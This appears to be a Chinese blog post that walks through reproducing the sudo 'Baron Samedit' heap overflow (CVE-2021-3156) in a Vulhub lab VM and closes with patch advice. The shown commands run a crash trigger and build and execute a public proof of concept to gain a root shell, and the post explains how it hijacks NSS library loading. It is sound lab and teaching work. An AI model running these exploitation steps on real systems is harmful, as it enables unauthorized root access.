2009 字
10 分钟
Baron Samedit 提权漏洞(CVE-2021-3156)复现

CVE-2021-3156(Baron Samedit)是 sudo 的本地提权漏洞,CVSS 7.8,2021 年 1 月 26 日披露。sudo 在 sudoedit -s 模式下转义命令行参数时,对以反斜杠 \ 结尾的字符串处理出错:复制循环越过字符串结束符继续读取,向堆缓冲区写入超出边界的数据,造成堆溢出。攻击者利用溢出数据改写 sudo 内部的 NSS(Name Service Switch)库加载路径,让以 root 身份运行的 sudo 加载当前目录下的恶意共享库,库的构造函数在加载时执行 setuid(0) 并启动 root Shell。

复现基于 Vulhub 的 polkit/CVE-2021-4034 靶场(Qemu 虚拟机内的 Ubuntu 20.04,sudo 1.8.31),覆盖漏洞验证、利用代码检索与提权执行,并在文末拆解堆溢出与 NSS 劫持的代码级原理。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2021-31567.8sudo 1.7.7-1.7.10p9、1.8.2-1.8.31p2、1.9.0-1.9.5p1本地权限提升(LPE)

漏洞复现#

复现环境准备#

本文是 PwnKit 提权漏洞(CVE-2021-4034)复现的延伸,直接使用 vulhub/polkit/CVE-2021-4034 目录下的靶机。因为容器中运行了 Qemu 虚拟机,所以初始化需要消耗更长时间。可以使用 docker compose logs 查看运行时的日志。

Terminal window
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/polkit/CVE-2021-4034
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
3c5c6abb13d9 vulhub/polkit:0.105 "/bin/sh -c 'qemu-sy…" 24 minutes ago Up 24 minutes 0.0.0.0:2222->2222/tcp, :::2222->2222/tcp cve-2021-4034-cmd-1
└─$ docker-compose logs
# 日志出现以下内容说明初始化成功
cmd-1 | [ OK ] Finished Execute cloud user/final scripts.
cmd-1 | [ OK ] Reached target Cloud-init target.

端口扫描与服务识别#

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果
PORT STATE SERVICE VERSION
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 52:8a:4b:9e:e1:9e:37:71:d0:d4:04:ea:78:85:ea:ef (RSA)
| 256 a7:40:57:0f:9b:b8:4a:f0:4d:e5:87:8f:0d:75:31:69 (ECDSA)
|_ 256 ac:8e:ea:83:00:ef:b8:a2:b4:fb:b2:d4:3b:14:82:15 (ED25519)
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH 8.2p1 Ubuntu 4:这个版本对应的上游操作系统是 Ubuntu 20.04(Focal Fossa)。 2222/tcp:非标准 SSH 端口。

登录目标#

在漏洞复现过程中我们已知用户 ubuntu 的密码为 vulhub,先使用这个已知的账户登录:

Terminal window
┌──(kali㉿kali)-[~]
└─$ ssh ubuntu@192.168.31.148 -p 2222
ubuntu@192.168.31.148's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
ubuntu@ubuntu:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)

漏洞验证#

该漏洞的触发核心在于 sudoedit 在处理命令行转义字符(反斜杠 \)时的逻辑错误。

Terminal window
ubuntu@ubuntu:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
ubuntu@ubuntu:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

当输入超长的 A 字符串时,sudoedit 在处理反斜杠 \ 时发生了堆溢出,破坏了内存中的堆块元数据。系统检测到了堆管理器的损坏(corrupted top size),强制终止了进程并倾倒核心(Core Dump)。从版本来看 sudo 1.8.31 确实存在 CVE-2021-3156 漏洞。

检索利用代码#

使用 searchsploit 搜索漏洞,发现提供的漏洞利用工具版本并不符合要求。

Terminal window
┌──(kali㉿kali)-[~]
└─$ searchsploit --cve 2021-3156
----------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------- ---------------------------------
Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Ov | multiple/local/49521.py
Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Ov | multiple/local/49522.c
----------------------------------------------------- ---------------------------------
Shellcodes: No Results
----------------------------------------------------- ---------------------------------
Paper Title | Path
----------------------------------------------------- ---------------------------------
Heap-Based Buffer Overflow in Sudo (Baron Samedit) - | docs/english/49950-heap-based-bu
----------------------------------------------------- ---------------------------------

GitHub POC#

在 GitHub 上查找可用的 POC 并尝试提权,./sudo-hax-me-a-sandwich 列出可提权的目标,发现恰好适配靶机的 sudo 版本:

Terminal window
ubuntu@ubuntu:~$ git clone https://github.com/blasty/CVE-2021-3156.git
ubuntu@ubuntu:~$ cd CVE-2021-3156/
ubuntu@ubuntu:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
ubuntu@ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
usage: ./sudo-hax-me-a-sandwich <target>
available targets:
------------------------------------------------------------
0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
------------------------------------------------------------
manual mode:
./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
ubuntu@ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 1
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)
# whoami
root

POC 的代码级原理见下文“POC 代码简析”。

漏洞核心原理#

代码逻辑错误#

正常情况下,如果用户输入一个空格,sudo 会把它转义成 \ 。稍后程序在处理时,看到 \,就知道下一个字符是空格,于是把空格存入内存,并跳过 \。而攻击者通过特定的命令组合(如 sudoedit -s),绕过了第一步的转义过程,直接输入了一个以反斜杠 \ 结尾的字符串,例如 cmd\。

漏洞触发过程#

当 sudo 看到用户输入了字符串,会先计算长度,然后在内存(堆)中申请一块刚好够大的空间(缓冲区)。当程序开始把字符串复制到这块空间时,它遇到了字符串末尾的 \。

按照程序的逻辑:遇到 \,就跳过它,去读下一个字符。但此时 \ 后面已经是字符串结束符(Null 字节)了。程序跳过了结束符,继续向后读取,把缓冲区之外的内存数据也复制了进来,写入的数据量超出了缓冲区的边界,这就是堆溢出。

实现提权#

溢出的数据并非直接注入代码,而是精确覆盖 sudo 内部用于 NSS(Name Service Switch)库加载的 service_user 结构体,把其中的库名改写为攻击者预先准备的 X/P0P_SH3LLZ_。sudo 随后按这个名字加载共享库,实际加载的是攻击者目录下的恶意 .so 文件。由于此时 sudo 进程已具备 root 特权,恶意库的构造函数以 root 身份执行,完成提权。

POC 代码简析#

hax.c#

这段代码负责利用 sudo 的逻辑错误,sudo 在处理命令行参数时,如果发现反斜杠 \,它会认为这是一个转义符,并跳过它去读取下一个字符。但如果 \ 后面直接是字符串的结束符 \0,它会越过 \0 继续向后读取,导致缓冲区溢出。

为了确保攻击的精准性,代码通过 smash_len_a 和 smash_len_b 等变量向堆内存填充特定长度的字符,其核心目的是通过堆内存管理,将内存中关键的 service_user 结构体推送到预定的溢出路径上。

在溢出发生时,环境变量 s_envp 中精心构造的大量反斜杠诱导指针向后滑动直至覆盖 service_user 结构体中的 name 指针。此时,程序注入的伪装字符串 X/P0P_SH3LLZ_ 会精准改写 sudo 内部记录的 NSS 库加载地址。这一改动使系统不再加载标准 libnss_files.so.2,转而加载攻击者指定的恶意路径。

lib.c#

这段代码被编译成 libnss_X/P0P_SH3LLZ_.so.2,是实际以 root 身份执行的载荷。

利用 Linux 动态加载器的 __attribute__((constructor)) 特性,库中的 _init 函数会在被加载进内存时自动执行。由于此时 sudo 进程已具备 root 特权,载荷得以在高权限状态下运行,通过执行 setuid(0) 和 setgid(0) 将进程身份切换为超级用户,并最终通过 execv 启动一个 root Shell。

brute.sh#

由于不同系统的内存布局(堆的起始地址、环境变量大小)不同,hax.c 里的那几个填充长度(smash_len)必须非常精确,差一个字节都会导致程序崩溃。

脚本通过三层嵌套循环,生成了成千上万种参数组合(偏移量)。利用 parallel,脚本可以同时启动 10 个甚至 20 个 sudo 进程进行攻击尝试,它不看是否弹出了 Shell,而是监测日志或标准输出中是否出现了 bl1ng bl1ng!(这是 lib.c 打印的)。只要看到这句话,就说明这组参数成功绕过了内存对齐,劫持了加载流程。

修复方案#

  • 升级 sudo 至 1.9.5p2 或发行版仓库的安全更新版本(如 Ubuntu 20.04 的 sudo 1.8.31-1ubuntu1.2);
  • 该漏洞无需交互、默认配置即可利用,无法通过配置规避,应尽快升级。

参考链接#

Baron Samedit 提权漏洞(CVE-2021-3156)复现
https://blog.mal-suen.cn/posts/2023/05/145/
作者
Malcolm
发布于
2023-05-11
许可协议
CC BY-NC-SA 4.0